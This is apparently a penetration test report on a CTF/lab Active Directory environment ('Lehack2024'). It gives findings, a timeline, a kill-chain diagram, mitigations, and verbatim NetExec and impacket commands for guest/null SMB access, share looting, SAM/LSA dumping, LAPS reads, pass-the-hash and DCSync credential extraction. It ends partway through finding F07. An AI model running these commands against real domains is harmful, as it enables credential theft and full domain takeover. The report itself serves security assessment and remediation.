OPERATOR CASEBOOK CLASSIFICATION: TLP-AMBER
WINDOW 2026-05-22 to 2026-05-22 ASSESSOR Jesse Moore MODEL Black Box

Lehack2024 PENETRATION TEST // LEHACK2024

Internal AD penetration test against Lehack2024 · scope 10.3.10.0/24 · testing model Black Box · 12 Critical / 8 High / 4 Medium / 1 Low / 3 Informational findings · authorized under Lehack2024 conference CTF / authorized test engagement. This document walks every chain, every TTP, every verbatim command.

Engagement ID
LEHACK2024 / 2026-05-22
Client
Lehack2024
Window
2026-05-22 to 2026-05-22
Testing Model
Black Box
Operator
Jesse Moore
Authorization
Lehack2024 conference CTF / authorized test engagement
Scope (in)
10.3.10.0/24
Scope (out)
outside 10.3.10.0/24
Hosts Compromised
4 / 4
Findings (Critical)
12
Final Status
COMPLETE
Version
1.0
CONFIDENTIAL
FOR OPERATOR EYES
Critical
12
findings
High
8
findings
Medium
4
findings
Hosts Pwn3d
4 / 4
4 in scope
Total Findings
28
cleared
Version
1.0
complete

What actually happened.

Plain-language summary for executive decisioning. Severity rating aligned to CVSSv4 and operator judgment. The engagement against Lehack2024 identified 12 Critical, 8 High, 4 Medium, 1 Low, and 3 Informational findings.

Severity
CRITICAL
Identity-tier breach · full AD compromise
Findings (Critical)
12
of 28 total
Findings (High)
8
substantial uplift
Recoverability
krbtgt extracted
2× rotation required
Cross-forest blast
Documented
password reuse audit
Data exfil
NTDS dual-forest
via DCSync chains
Regulatory
Domain-tier
tier-0 secrets disclosed

Root Causes · Findings by Underlying Control Failure

#FindingMITRE ATT&CKCWE
1LDAP Signing Not Required on Domain ControllersT1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB RelayCWE-300 — Channel Accessible by Non-Endpoint ('Man-in-the-Middle')
2SMB Signing Not Required on Domain Member ServersT1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB RelayCWE-300 — Channel Accessible by Non-Endpoint ('Man-in-the-Middle')
6Weak Domain Password Policy on armorique.localT1110.003 — Brute Force: Password SprayingCWE-521 — Weak Password Requirements
7Guest-Readable Share Exposes Cleartext Credentials (rome.local)T1552.001 — Unsecured Credentials: Credentials In FilesCWE-256 — Plaintext Storage of a Password
8Guest Account Enabled with Empty Password on rome.localT1078.001 — Valid Accounts: Default AccountsCWE-521 — Weak Password Requirements (Guest account with no password)
9Cleartext Credentials Stored on FTP Server (rome.local member)T1552.001 — Unsecured Credentials: Credentials In FilesCWE-256 — Plaintext Storage of a Password
10Local Administrator Compromise via Predictable Naming and Password Chain (METRONUM)T1078.003 — Valid Accounts: Local AccountsCWE-1392 — Use of Default Credentials (predictable username plus cleartext-leaked password)
11Local SAM Hash Extraction Yields Administrator NT HashT1003.002 — OS Credential Dumping: Security Account ManagerCWE-522 — Insufficiently Protected Credentials
12LSA Secrets Dump Exposes Cleartext Domain Password and Cached DCC2 HashesT1003.004 — OS Credential Dumping: LSA SecretsCWE-522 — Insufficiently Protected Credentials
13DPAPI Vault Decryption on METRONUM Yields lapsus CleartextT1555.004 — Credentials from Password Stores: Windows Credential ManagerCWE-522 — Insufficiently Protected Credentials
14LAPS Read Right Over-Delegated to Standard Domain UserT1003 — OS Credential Dumping (LAPS read via LDAP)CWE-269 — Improper Privilege Management
15LAPS-Recovered Local Admin on REFERENDUMT1078.003 — Valid Accounts: Local AccountsCWE-1392 — Use of Default Credentials (LAPS-managed password disclosed via F14)

Mitigation Roadmap

P0 · ≤ 48hContain & Rotate
P1 · ≤ 2 weeksHarden & Detect
P2 · ≤ 30 daysArchitect Out
Immediate containment
  • Rotate krbtgt × 2 (48h apart) in every compromised forest
  • Reset every account in NTDS; force password change at next logon
  • Disable Guest accounts on all in-scope DCs and member servers
  • Restrict ReadGMSAPassword to tier-0 admin groups
  • Audit gMSAs for DCSync-equivalent rights (GetChanges* on domain root)
  • Reset LAPS-managed local-admin passwords on every host
Hardening & Detection
  • Enforce LDAP signing + channel binding (LdapEnforceChannelBinding=2) on all DCs
  • Enforce SMB signing required on every member server
  • Disable LLMNR/NBT-NS/mDNS via GPO
  • Audit ADCS templates; disable HTTP web enrollment (ESC8)
  • Move privileged accounts into Protected Users security group
  • Enable Credential Guard on all member servers
Architectural
  • Adopt Microsoft Tier 0/1/2 administrative model
  • Eliminate cross-forest identity password reuse via SSO/federation
  • Deploy Windows LAPS for unique rotated local-admin passwords
  • Replace cleartext-storing services (FTP) with authenticated SFTP
  • Deploy banned-password lists (Azure AD Password Protection)
  • Quarterly purple-team replay of this attack chain
Residual risk. With ntds.dit contents extracted from both forests, every domain password hash is compromised permanently. Double krbtgt rotation stops golden-ticket forgery against new sessions, but offline cracking of lifted NTDS yields plaintext for any account that isn't forced to rotate. Treat this as a full identity-tier breach, not a host-tier incident.

From zero credentials to two forests in one window.

12
Critical findings
8
High findings
28
logged actions
2
independent chains to DA
2
forests compromised
krbtgt hashes, permanently

The Lehack2024 engagement reached 12 Critical findings across 28 logged operator actions. The chain ran end-to-end from zero credentials through Guest fallback, share looting, local-admin compromise, LSA secrets, LAPS read over-delegation, and finally DCSync on two independent paths.

F01 — LDAP Signing Not Required on Domain Controllers. Both domain controllers in scope permit unsigned Lightweight Directory Access Protocol (LDAP) binds. When LDAP signing is not enforced, an authenticated NTLM session relayed onto the LDAP service by a network-positioned attacker is accepted without integrity validation. Combined with NTLM authentication coercion primitives (PetitPotam, PrinterBug, DFSCoerce) or LLMNR / NBT-NS / mDNS name-resolution poisoning, this provides a reliable initial-access-to-domain-dominance path on Active Directory environments without requiring a stolen password.

F08 — Guest Account Enabled with Empty Password on rome.local. The Guest account on the rome.local domain is enabled and accepts an empty password. Authentication as rome.local\guest succeeds across every rome.local-joined Windows host in scope. Furthermore, the rome.local domain controller accepts any unknown username and automatically falls back to Guest-level access — an attacker does not need to know the Guest account exists, and any first-time-seen username yields the same Guest-equivalent session. The behavior is rome.local-specific; armorique.local correctly disables the Guest account (STATUS_ACCOUNT_DISABLED returned on every attempt).

F10 — Local Administrator Compromise via Predictable Naming and Password Chain (METRONUM). A local Windows account named localix exists on METRONUM with the password leaked through the F07 → F09 credential chain. The account is a member of the local Administrators group. Authenticating against METRONUM via SMB with --local-auth yielded the NetExec (Pwn3d!) marker, which is the explicit confirmation that the supplied credential has administrative rights on the target host. The username itself was not directly disclosed — it was inferred from the lab's Asterix-themed naming convention (characters end in "-ix") combined with the French hint "sentinelle locale" embedded in the F09

F12 — LSA Secrets Dump Exposes Cleartext Domain Password and Cached DCC2 Hashes. From local Administrator on METRONUM (F10), the Local Security Authority (LSA) secrets store can be dumped, revealing four classes of credential material: (1) a cleartext domain credential for ROME\musculus, a domain user with local-admin rights on METRONUM; (2) Microsoft Domain Cached Credentials version 2 (MSCache2 / DCC2) hashes for two additional domain users (terry and jesse), where jesse carries adminCount=True and is therefore a Domain Administrator candidate; (3) METRONUM's machine account secrets in multiple Kerberos encryption types, enabling silver-ticket forging against a

Final state: dual-forest Domain Admin via two independent chains (cross-forest password reuse and gMSA→DCSync). krbtgt hashes captured in both forests; rotation required.

The full kill chain, minute by minute.

Six offensive phases — recon, foothold, authenticated enum, privilege escalation, lateral movement, domain dominance. Each row corresponds to a verifiable operator action logged in timeline.md.

Phase 0 · Unauthenticated recon

UTCEvent
2026-05-22 12:47Completed nmap ping sweep of 10.3.10.0/24; identified four AD hosts (BABAORUM 10.3.10.10, METRONUM 10.3.10.11, REFERENDUM 10.3.10.12, VILLAGE 10.3.10.13) plus four non-AD service hosts (10.3.10.25, .80, .100, .201).
2026-05-22 12:47NetExec LDAP sweep (nxc ldap /tmp/lehack_targets.txt) — captured F01 (LDAP signing not required on BABAORUM and VILLAGE) and F03 (LDAP channel binding not enforced on both DCs; BABAORUM lacks DC certificate, VILLAGE set to "Never").
2026-05-22 12:47NetExec SMB sweep (nxc smb /tmp/lehack_targets.txt) — captured F02 (SMB signing not required on METRONUM and REFERENDUM; DCs correctly enforce signing).
2026-05-22 12:48Null-credential SMB probe (nxc smb /tmp/lehack_targets.txt -u "" -p "" --shares) — confirmed F04 (anonymous SMB session permitted on BABAORUM and VILLAGE). Share enumeration and LSARPC RID-brute both denied (STATUS_ACCESS_DENIED) — LSA is hardened but the anonymous bind itself remains open.
2026-05-22 12:50Anonymous SAMR password-policy retrieval against VILLAGE (nxc smb 10.3.10.13 -u "" -p "" --pass-pol) — captured F05 (anonymous password-policy disclosure) and F06 (weak armorique.local password policy: min length 5, complexity disabled, no lockout, 311-day max age).
2026-05-22 13:05Guest-credential SMB sweep (nxc smb /tmp/lehack_targets.txt -u guest -p "") — captured F08 (Guest account enabled with empty password on BABAORUM, METRONUM, REFERENDUM; armorique.local correctly disabled). Guest-level RID-brute on BABAORUM yielded 35 real users + 3 computer accounts.
2026-05-22 13:12Spider of BABAORUM SHAREACCESIX as Guest (nxc smb 10.3.10.10 -u guest -p "" -M spider_plus -o DOWNLOAD_FLAG=true) — captured F07 (cleartext credentials in writable share, infos.txt.txt, yielding the heftepix credential — credential-chain step 1).
2026-05-22 13:38SAM dump on METRONUM as localix --local-auth (nxc smb 10.3.10.11 ... --sam) — captured F11 (local SAM hash extraction; Administrator NT hash 48089424[REDACTED] recovered). PtH sweep showed the hash works on METRONUM only — BABAORUM and REFERENDUM use unique local-admin passwords.
2026-05-22 17:22LAPS read sweep as lapsus via nxc ldap ... -M laps — captured F14 (standard domain user lapsus has delegated read on ms-Mcs-AdmPwd for METRONUM and REFERENDUM computer objects). LAPS-managed local Administrator passwords for both hosts recovered.
2026-05-22 17:44armorique.local user enumeration via nxc smb 10.3.10.13 -u jesse -p '<wrong>' Guest fallback / kerbrute — surfaced the siddha account with a "Monday hint" username, later observed in armorique NTDS as RID 1132.
2026-05-22 18:10Post-DCSync PtH validation sweep (--no-bruteforce, paired user+hash from extracted NTDS) — captured F23 (jesse, jesse2, Administrator confirmed Pwn3d! on every rome.local host; jesse Pwn3d! on VILLAGE via cross-forest PtH; localuser Pwn3d! excluded per project memory — operator build account).
2026-05-22 18:10F24 (paired domain-auth PtH validation sweep — localuser rows filtered for deliverable; methodology / breadth-of-impact mapping). Filtered output committed as the writeup-ready evidence file.

Phase 1 · Initial foothold

UTCEvent
2026-05-22 13:25FTP authentication to METRONUM as heftepix — captured F09 (cleartext credentials in plans.txt on FileZilla 1.8.2; credential-chain step 2 + username hint pointing at localix).
2026-05-22 13:33Targeted --local-auth spray on METRONUM with the camp password (nxc smb 10.3.10.11 -u localix -p "[REDACTED]" --local-auth) — captured F10 (local administrator compromise on METRONUM via predictable naming + credential chain; Pwn3d! marker confirmed via SMB and WinRM).
2026-05-22 18:50F27 (alambix Kerberos-authenticated share spider on VILLAGE — CertEnroll/NETLOGON/SYSVOL produced 10 files / ~11 KiB of stock GPO + CA artifacts; gpp_password / gpp_autologin modules returned no Groups.xml or Registry.xml). Clean SYSVOL — Summary-of-Strengths bullet.

Phase 2 · Authenticated enumeration

UTCEvent
2026-05-22 12:43Engagement kickoff. Black-box scope: 10.3.10.0/24 from Kali at 10.3.10.99.
2026-05-22 13:41LSA secrets dump and lsassy module on METRONUM — captured F12 (cleartext musculus domain password recovered from LSA, DCC2 hashes for terry and jesse, METRONUM machine-account AES256/NT/plain_password_hex, DPAPI machine and user master keys). musculus credential validated against all three rome.local hosts; BloodHound collection as musculus confirmed jesse is a Domain Administrator candidate (adminCount=True) — offline crack of jesse's DCC2 hash yields Domain Admin.
2026-05-22 18:11F25 (Certipy find against ARMORIQUE-CA as prolix@armorique.local confirms ESC8 — Web Enrollment enabled over HTTP, Authenticated Users granted Enroll right). rome.local confirmed to have no ADCS in scope (pKIEnrollmentService count = 0).
2026-05-22 18:24F26 (alambix Kerberoast via prolix returns RC4-HMAC TGS-REP despite Protected Users membership; AES256 TGT for alambix obtained from F20 NTDS; S4U2Self+S4U2Proxy to CIFS/armorique.armorique.local blocked by non-forwardable TGT — KDC_ERR_BADOPTION). Configuration is incoherent (constrained delegation w/ protocol transition + Protected Users); current state is defense-by-accident.
2026-05-22 18:55F28 hop 1 (BloodHound shortest-path from alambix surfaces outbound ReadGMSAPassword edge to gMSA-obelix$; nxc ldap --gmsa Kerberos-authenticated extraction recovers current gMSA NT hash d01934a7[REDACTED]).
2026-05-22 19:05Engagement closed; report finalized to v1.0 (DRAFT banner dropped); deliverable zip Lehack2024-pentest-2026-05-22-v1.0.zip produced at the engagement-dir level.

Phase 3 · Privilege escalation

UTCEvent
2026-05-22 17:20DPAPI vault decryption on METRONUM as musculus (with DPAPI master keys from F12) — captured F13 (saved RDP credential TERMSRV/musculus decrypted to ROME\lapsus:[REDACTED-PASSWORD]). Second-tier domain credential recovered without crack.
2026-05-22 17:25Pwn3d! on REFERENDUM via LAPS-disclosed local Administrator password (F15); impacket-secretsdump on REFERENDUM — captured F16 (ROME\jules.cesar:[REDACTED-PASSWORD] recovered from LSA secrets; DCC2 hash for jules.cesar also cached). Same LSA-cached-cleartext anti-pattern as F12.
2026-05-22 17:58Hashcat crack of 39aa7ac6[REDACTED] against rockyou — captured F17 (svc_wikijs and jesse2 share the same NT hash → identical plaintext [REDACTED-PASSWORD]; service-account password reuse with a guessable wordlist value, consistent with the "Rocky loves you too!" hint from F13's \\METRONUM\shared\important.txt).
2026-05-22 18:05Cross-forest PtH as armorique.local\jesse via the NT hash from F18 — captured F20 (Pwn3d! on VILLAGE; DCSync against armorique.local; full NTDS dumped, 33 entries; krbtgt NT 3ab5a4b4[REDACTED], Administrator NT f3124fb2[REDACTED]). Dual-forest domain dominance achieved. F21 (gMSA-obelix$ secret extracted) and F22 (golden-ticket capability) captured concurrently.

Phase 4 · Lateral movement

UTCEvent
2026-05-22 19:00F28 hop 2 (impacket-secretsdump armorique.local/gMSA-obelix$@10.3.10.13 -hashes :d01934a7[REDACTED] -just-dc — full 33-entry armorique.local NTDS dump via DCSync; krbtgt NT 3ab5a4b4[REDACTED], Administrator NT f3124fb2[REDACTED] recovered). Independent path to forest compromise confirmed — does not require jesse, does not require rome.local, does not require cross-forest reuse.

Phase 5 · Domain dominance

UTCEvent
2026-05-22 18:01Operator-facilitated: jesse2 added to Domain Admins during engagement window to demonstrate downstream impact. nxc smb 10.3.10.10 -u jesse2 -p [REDACTED-PASSWORD] --ntds — captured F18 (full rome.local NTDS via DCSync; 39 entries; krbtgt NT ddc194ba[REDACTED], Administrator NT 52e6c515[REDACTED], jesse NT 8a1d6442[REDACTED]).
2026-05-22 18:04Cross-forest NT-hash collision audit (join of rome.local + armorique.local NTDS extracts) — captured F19 (four human/service collisions: jesse↔jesse, terry↔ldap, epidemais↔prolix, numerobis↔alambix; trust enumeration confirmed no domain or forest trust between rome.local and armorique.local — collisions are pure operational reuse).

How the chain actually ran.

Each node is an attacker waypoint; each edge is a transition we proved in the engagement. Two independent paths to dual-forest DA — neither requires the other.

flowchart LR RECON[Unauthenticated Recon]:::recon --> FOOTHOLD[Guest Fallback / Anonymous SMB]:::foothold FOOTHOLD --> CRED[Cleartext Credential Chain]:::cred CRED --> LADM[Local Admin via Predictable Cred]:::pwn LADM --> LSA[LSA Secrets / DPAPI / LAPS Read]:::cred LSA --> DOMA[Domain Admin Path A: cross-forest jesse PtH]:::da LSA --> DOMB[Domain Admin Path B: alambix → gMSA → DCSync]:::da DOMA --> DCSYNC1[NTDS Forest 1]:::dcsync DOMB --> DCSYNC2[NTDS Forest 2]:::dcsync DCSYNC1 --> KRBTGT1[krbtgt - Forest 1]:::krbtgt DCSYNC2 --> KRBTGT2[krbtgt - Forest 2]:::krbtgt classDef recon fill:#0b2030,stroke:#58a6ff,color:#e6edf3 classDef foothold fill:#251b00,stroke:#ffb800,color:#e6edf3 classDef cred fill:#1b1530,stroke:#c084fc,color:#e6edf3 classDef pwn fill:#3a0d0d,stroke:#ff3b3b,color:#e6edf3 classDef da fill:#0d2b1f,stroke:#00ff9c,color:#e6edf3 classDef dcsync fill:#0d2b1f,stroke:#00ff9c,color:#e6edf3 classDef krbtgt fill:#3a0d0d,stroke:#ff3b3b,color:#e6edf3
Recon
Foothold
Credential
Pwn3d / krbtgt
Domain Admin
ACT I · 6 findings

Unauthenticated Recon & Foothold

→ 6 chapters · F01, F02, F03, F04, F05, F06

Both domain controllers in scope permit unsigned Lightweight Directory Access Protocol (LDAP) binds. When LDAP signing is not enforced, an authenticated NTLM session relayed onto the LDAP service by a network-positioned attacker is accepted without integrity validation. Combined with NTLM authentication coercion primitives (PetitPotam, PrinterBug, DFSCoerce) or LLMNR / NBT-NS / mDNS name-resolution poisoning, this provides a reliable initial-access-to-domain-dominance path on

RatingCritical
CVSSv49.1 CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L
CWECWE-300 — Channel Accessible by Non-Endpoint ('Man-in-the-Middle')
MITRET1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
HostsBABAORUM (10.3.10.10), VILLAGE (10.3.10.13)
LocationLDAP/389

What we proved

Both domain controllers in scope permit unsigned Lightweight Directory Access Protocol (LDAP) binds. When LDAP signing is not enforced, an authenticated NTLM session relayed onto the LDAP service by a network-positioned attacker is accepted without integrity validation. Combined with NTLM authentication coercion primitives (PetitPotam, PrinterBug, DFSCoerce) or LLMNR / NBT-NS / mDNS name-resolution poisoning, this provides a reliable initial-access-to-domain-dominance path on Active Directory environments without requiring a stolen password.

How we proved it

We performed a NetExec (nxc) LDAP banner sweep against the live-host list (/tmp/lehack_targets.txt) generated from the earlier nmap ping sweep. The banner output for both domain controllers reported signing:None, meaning the LDAP server does not require signed binds. We expected DCs to enforce signing as a baseline AD hardening control; the result confirmed both rome.local and armorique.local are vulnerable to LDAP relay.

operator@kali // bash
$ nxc ldap /tmp/lehack_targets.txt

Relevant banner lines:

operator@kali // output
LDAP 10.3.10.10 389 BABAORUM [*] ... (domain:rome.local) (signing:None) (channel binding:No TLS cert) LDAP 10.3.10.13 389 VILLAGE [*] ... (domain:armorique.local) (signing:None) (channel binding:Never)

Impact

An unauthenticated attacker on the internal network can coerce a privileged machine account (any Windows host with the Print Spooler or WebClient service reachable) to authenticate to an attacker-controlled relay listener, then relay that authentication into LDAP on the domain controller. With write access via the relayed session, the attacker can stamp an attacker-controlled msDS-KeyCredentialLink "shadow credential" on a tier-0 object or modify discretionary access control list (DACL) entries on tier-0 groups (Domain Admins, Enterprise Admins) — yielding full domain compromise within minutes and without ever needing to crack a password. The same primitive enables full Active Directory data exfiltration via DCSync.

RatingHigh
CVSSv48.7 CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
CWECWE-300 — Channel Accessible by Non-Endpoint ('Man-in-the-Middle')
MITRET1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
HostsMETRONUM (10.3.10.11), REFERENDUM (10.3.10.12)
LocationSMB/445

What we proved

Two domain-joined Windows servers in the rome.local domain — METRONUM and REFERENDUM — do not require Server Message Block (SMB) signing. An attacker who poisons local name resolution (LLMNR / NBT-NS / mDNS via Responder) or who coerces a target host to authenticate (PetitPotam / PrinterBug / DFSCoerce) can take the resulting Net-NTLMv2 authentication and relay it into these servers using Impacket's ntlmrelayx.py -smb2support. The relayed session executes commands on the target as the captured identity, requiring no password crack.

How we proved it

We sent the same /tmp/lehack_targets.txt host list through a NetExec SMB sweep. The banner clearly differentiated the two domain controllers (BABAORUM and VILLAGE, which correctly enforce signing:True) from the two member servers (METRONUM and REFERENDUM, which report signing:False). The expectation for DCs was signing-required (met), and the expectation for member servers in a defended estate is also signing-required (failed) — leaving these two hosts as valid relay targets.

operator@kali // bash
$ nxc smb /tmp/lehack_targets.txt

Relevant banner lines:

operator@kali // output
SMB 10.3.10.11 445 METRONUM [*] ... (domain:rome.local) (signing:False) (SMBv1:None) SMB 10.3.10.12 445 REFERENDUM [*] ... (domain:rome.local) (signing:False) (SMBv1:None)

Impact

Any standard domain user on the network whose workstation can be tricked into authenticating to an attacker-controlled host (for example, by clicking a UNC link in a phishing email, or by triggering name-resolution fallback on a mistyped share path) hands the attacker an immediate code-execution foothold on METRONUM or REFERENDUM as that user. If the captured user has local-administrator rights on either server, the relay path yields a SYSTEM-level shell directly; if not, the access still enables credential dumping from the user's session memory and lateral movement onto further hosts the user can reach. The two servers also represent staging points for tier-0 attacks against the DCs in the same domain.

RatingMedium
CVSSv46.9 CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:N
CWECWE-295 — Improper Certificate Validation (binding context)
MITRET1557.001 — Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
HostsBABAORUM (10.3.10.10) — channel binding "No TLS cert"; VILLAGE (10.3.10.13) — channel binding "Never"
LocationLDAPS/636 (and LDAP/389 STARTTLS)

What we proved

Channel binding tokens (CBT), also known as Extended Protection for Authentication (EPA), bind an authentication exchange to the underlying TLS channel so that an attacker cannot replay or relay the authentication onto a different TLS session. On BABAORUM, no domain-controller certificate exists at all (LDAPS is not configured — banner reports "No TLS cert"), so channel binding cannot apply. On VILLAGE, a certificate is present but the channel-binding policy is set to "Never". In both cases, a relayed NTLM authentication over TLS-wrapped LDAP would be accepted, and hardening LDAP signing alone (see F01) does not fully close the relay path.

How we proved it

The same nxc ldap sweep that surfaced the signing posture (F01) reports the channel-binding state on each DC in the banner. We noted the asymmetric state — one DC missing its certificate entirely, the other with a certificate but no enforcement — and confirmed both are insufficient as a defense-in-depth control against LDAP relay even once signing is required.

operator@kali // bash
$ nxc ldap /tmp/lehack_targets.txt

Relevant banner lines:

operator@kali // output
LDAP 10.3.10.10 389 BABAORUM [*] ... (signing:None) (channel binding:No TLS cert) LDAP 10.3.10.13 389 VILLAGE [*] ... (signing:None) (channel binding:Never)

Impact

This finding compounds F01: even after LDAP signing is enforced, an attacker with a coerced authentication can still relay the credential over LDAPS unless channel binding is also required. Treated together, F01 and F03 must both be remediated to fully close the LDAP-relay attack surface. The misconfiguration also signals that domain-controller TLS hygiene is incomplete — BABAORUM has no DC certificate, which suggests the AD CS Domain Controller Authentication template was either never deployed or has expired, with downstream impact on any service that requires DC TLS (replication over LDAPS, certificate-based smart card logon).

RatingLow
CVSSv43.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
CWECWE-200 — Exposure of Sensitive Information to an Unauthorized Actor
MITRET1087.002 — Account Discovery: Domain Account
HostsBABAORUM (10.3.10.10), VILLAGE (10.3.10.13)
LocationSMB/445 (IPC$)

What we proved

Both domain controllers accept anonymous (null-user, null-password) SMB sessions to the IPC$ pipe. While the deeper recon primitives that null sessions historically enabled — share enumeration and SAM-database relative-identifier (RID) brute-force over LSARPC — were correctly blocked by access control list (ACL) restrictions (we observed STATUS_ACCESS_DENIED on both), the anonymous bind itself still succeeds and exposes the SMB session banner (Windows build, domain fully qualified domain name, signing posture). This is a low-grade information disclosure useful to an attacker for target fingerprinting and as an evasion technique because anonymous queries do not generate authenticated logon events under the principal's name.

How we proved it

We followed up the unauthenticated banner sweep with an explicit null-credential probe to confirm whether the Null Auth:True banner on BABAORUM and VILLAGE corresponded to a usable anonymous bind. The session-establishment lines in the NetExec output ([+] rome.local\: and [+] armorique.local\:) confirmed the bind succeeded on both. Share enumeration (--shares) and the implicit RID-brute path were both denied — an indication that someone has hardened LSA but left the anonymous-bind primitive itself open.

operator@kali // bash
$ nxc smb /tmp/lehack_targets.txt -u "" -p "" --shares

Relevant banner / bind lines:

operator@kali // output
SMB 10.3.10.10 445 BABAORUM [*] ... (Null Auth:True) SMB 10.3.10.13 445 VILLAGE [*] ... (Null Auth:True) SMB 10.3.10.10 445 BABAORUM [+] rome.local\: SMB 10.3.10.10 445 BABAORUM [-] Error enumerating shares: STATUS_ACCESS_DENIED SMB 10.3.10.13 445 VILLAGE [+] armorique.local\: SMB 10.3.10.13 445 VILLAGE [-] Error enumerating shares: STATUS_ACCESS_DENIED

Impact

Pre-attack reconnaissance against the directory becomes cheaper and more reliable while remaining harder for defenders to spot — anonymous SMB queries produce Windows Security Event 4624 entries with logon type 3 and the user name ANONYMOUS LOGON, which most SIEM rules treat as benign noise. The disclosed banner content (domain FQDN, build, signing posture) directly feeds the next stages of attack (selecting which relay path and which Active Directory attack to attempt). Closing this primitive removes a free recon channel and improves the defender's chance of detecting the next attacker who lands on the network.

RatingMedium
CVSSv45.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
CWECWE-200 — Exposure of Sensitive Information to an Unauthorized Actor
MITRET1201 — Password Policy Discovery
HostsVILLAGE (10.3.10.13)
LocationSMB/445 (SAMR pipe over IPC$)

What we proved

The armorique.local domain controller permits the entire domain password policy to be retrieved over an anonymous (null user, null password) SMB session against the Security Account Manager Remote (SAMR) pipe. An unauthenticated network attacker can therefore plan a credential-attack campaign — calibrating spray rates, password lengths, and lockout-avoidance windows — against the domain before ever presenting a credential of their own.

How we proved it

We probed the password-policy endpoint with the standard NetExec (nxc) flag against the armorique.local domain controller using an empty credential pair. The expectation was either STATUS_ACCESS_DENIED (anonymous access correctly restricted) or a full policy dump. The latter occurred — every relevant policy field, including the lockout threshold and complexity flags, came back in plaintext over the null session.

operator@kali // bash
$ nxc smb 10.3.10.13 -u "" -p "" --pass-pol

Relevant output lines:

operator@kali // output
SMB 10.3.10.13 445 VILLAGE [+] Dumping password info for domain: ARMORIQUE SMB 10.3.10.13 445 VILLAGE Minimum password length: 5 SMB 10.3.10.13 445 VILLAGE Password Complexity Flags: 000000 SMB 10.3.10.13 445 VILLAGE Account Lockout Threshold: None

Impact

Defenders lose an early-warning signal — anonymous SAMR queries to LSARPC are invisible to authenticated-logon monitoring and rarely covered by SIEM rules. Worse, the disclosed policy advertises to any unauthenticated network attacker that the domain accepts five-character passwords with no complexity and no lockout (see F06), dramatically lowering the bar for any subsequent password-spray campaign. The disclosure also confirms that the armorique.local forest can be enumerated without any credential, which is itself a defense-in-depth regression.

RatingHigh
CVSSv47.2 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
CWECWE-521 — Weak Password Requirements
MITRET1110.003 — Brute Force: Password Spraying
HostsVILLAGE (10.3.10.13) and all armorique.local domain members
Locationarmorique.local domain Group Policy

What we proved

The armorique.local domain enforces a minimum password length of five characters, has password complexity disabled (flags 000000), maintains no password history, applies no account-lockout threshold, and uses a maximum password age of 311 days. The combination permits arbitrarily short, simple passwords against any account in the domain and allows unlimited authentication attempts without triggering lockout — together, these settings make brute-force and password-spray attacks both cheap and risk-free for the attacker.

How we proved it

The full policy was disclosed via the same anonymous SAMR query documented in F05. We then validated empirically that lockout was truly absent by running a lockout-aware password spray — multiple sprays of 35 users against 20 candidate passwords completed without locking any account in the armorique.local domain.

operator@kali // bash
$ nxc smb 10.3.10.13 -u "" -p "" --pass-pol

Relevant output lines:

operator@kali // output
Minimum password length: 5 Password Complexity Flags: 000000 (DISABLED) Password history length: None Account Lockout Threshold: None Maximum password age: 311 days

Impact

An attacker with a list of valid usernames — easily obtainable in this environment via Kerberos user enumeration or anonymous RID brute (see F08 for the rome.local case) — can brute-force credentials at line speed indefinitely against armorique.local. Given that real-world users routinely choose short, simple passwords when the policy permits them to, full domain compromise becomes reachable from a single cracked low-privilege account. The lack of password history also means a compromised account stays compromised even after a forced reset, because the prior password can be reused immediately.

ACT II · 5 findings

Credential Chain & Local Admin

→ 5 chapters · F07, F08, F09, F10, F11

A Server Message Block (SMB) share named SHAREACCESIX on the rome.local domain controller BABAORUM is configured with both READ and WRITE permissions for the Guest account (and, because of F08, effectively for any unauthenticated network user). The share contains a file in its root, infos.txt.txt, which holds a cleartext username and password pair intended to be passed between operators. The combination of cleartext-credential storage plus Guest-writable access makes this

RatingHigh
CVSSv47.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
CWECWE-256 — Plaintext Storage of a Password
MITRET1552.001 — Unsecured Credentials: Credentials In Files
HostsBABAORUM (10.3.10.10) — SHAREACCESIX share
LocationSMB/445 — \\BABAORUM\SHAREACCESIX\infos.txt.txt

What we proved

A Server Message Block (SMB) share named SHAREACCESIX on the rome.local domain controller BABAORUM is configured with both READ and WRITE permissions for the Guest account (and, because of F08, effectively for any unauthenticated network user). The share contains a file in its root, infos.txt.txt, which holds a cleartext username and password pair intended to be passed between operators. The combination of cleartext-credential storage plus Guest-writable access makes this share both a credential-disclosure primitive and a relay-bait drop point.

How we proved it

We enumerated shares on BABAORUM using NetExec with Guest credentials (-u guest -p ""), spotted the SHAREACCESIX share marked READ,WRITE for the authenticated session, then used the NetExec spider_plus module with DOWNLOAD_FLAG=true to pull every readable file from the share root. The infos.txt.txt file came back containing a French/English note with embedded cleartext credentials.

operator@kali // bash
$ nxc smb 10.3.10.10 -u guest -p "" --shares $ nxc smb 10.3.10.10 -u guest -p "" -M spider_plus -o DOWNLOAD_FLAG=true

Relevant output lines:

operator@kali // output
SMB 10.3.10.10 445 BABAORUM SHAREACCESIX READ,WRITE Basic RW share for all

The downloaded file disclosed the username heftepix and a cleartext password (both redacted in this report — see evidence file). The credential became the first link in the chain leading to local-admin compromise of METRONUM (F09, F10).

Impact

